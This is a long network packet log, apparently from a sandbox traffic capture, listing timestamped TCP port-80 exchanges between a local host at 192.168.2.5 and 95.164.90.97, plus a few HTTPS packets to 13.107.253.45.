Oct 7, 2024 21:18:44.059052944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059062958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059073925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059079885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059084892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059094906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059098959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059109926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059119940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059119940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059129000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059139967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059140921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059149027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059159994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059170961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059171915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059181929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059191942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059202909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059211969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059215069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059226036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059226990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059238911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.059245110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059266090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059287071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060134888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060149908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060158968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060169935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060178995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060178995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060190916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060199976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060203075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060210943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060220957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060230970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060231924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060241938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060250044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060251951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060262918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060265064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060275078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060285091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060290098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060298920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060308933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060332060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060348034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060904980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060918093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060926914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060935974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060945034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060955048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060962915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060964108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060976982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060986996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.060987949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.060997009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061005116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061008930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061019897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061019897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061032057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061034918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061043024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061052084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061062098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061068058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061078072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061089993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061091900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061110973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061124086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061750889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061764002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061773062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061783075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061793089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061803102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061814070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061820030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061824083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061834097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.061857939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.061877012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.138566017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138586044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138597012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138644934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.138670921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.138763905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138775110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138784885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138794899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138803959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138849020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.138861895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.138889074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138899088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138907909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138916969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.138958931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139106989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139116049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139125109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139132977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139142036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139151096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139161110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139169931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139193058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139331102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139341116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139368057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139391899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139405012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139414072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139425039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139436007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139451027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139472961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139631033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139641047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139651060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139662981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139678001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139826059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139836073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139843941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139853954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139863968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139869928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139874935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139884949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139889956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139897108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139905930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139906883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139918089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.139921904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.139950991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140278101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140288115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140300989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140310049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140320063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140340090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140363932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140527964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140537977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140547037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140557051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140572071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140588999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140630007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140640974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140650988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140660048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140669107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140672922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140680075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140688896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140688896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140700102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140708923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140708923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140721083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.140729904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.140748978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141429901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141439915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141449928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141460896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141470909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141479969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141489983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141499043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141499996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141509056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141519070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141526937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141530037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141537905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141546965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141554117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141556025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141567945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.141572952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141593933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.141608953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142112970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142123938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142132998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142142057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142153025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142158985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142163992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142174959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142187119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142190933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142201900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142206907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142213106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142221928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142222881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142235041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142245054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142250061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142254114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142263889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142273903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142283916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142283916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142294884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.142304897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142319918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.142343044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143138885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143148899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143158913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143167973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143177986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143187046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143188000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143197060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143208981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143208981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143222094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143227100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143233061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143243074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143244028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143253088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143263102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143273115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143273115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143284082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143292904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143297911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143301964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143313885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143313885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143330097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143347025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.143968105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143981934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.143992901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.144002914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.144012928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.144022942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.144030094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.144032001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.144057035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.144072056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.152297974 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.152501106 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.152617931 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.152709007 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.153073072 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.153259993 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.153803110 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.159770966 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.160367966 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.160415888 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.161452055 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.221318007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221332073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221343040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221353054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221364021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221374035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221391916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221425056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221458912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221492052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221541882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221617937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221627951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221637964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221653938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221679926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221812963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221823931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221833944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221844912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221852064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221854925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221867085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221872091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221879005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.221888065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.221914053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222117901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222129107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222137928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222148895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222150087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222160101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222170115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222176075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222181082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222201109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222215891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222692013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222702980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222712994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222722054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222729921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222733021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222743988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222754002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222754955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222767115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222770929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222778082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222786903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222789049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222800970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.222811937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222835064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.222969055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223186970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223196030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223206043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223215103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223225117 CEST	80	49810	95.164.90.97	192.168.2.5
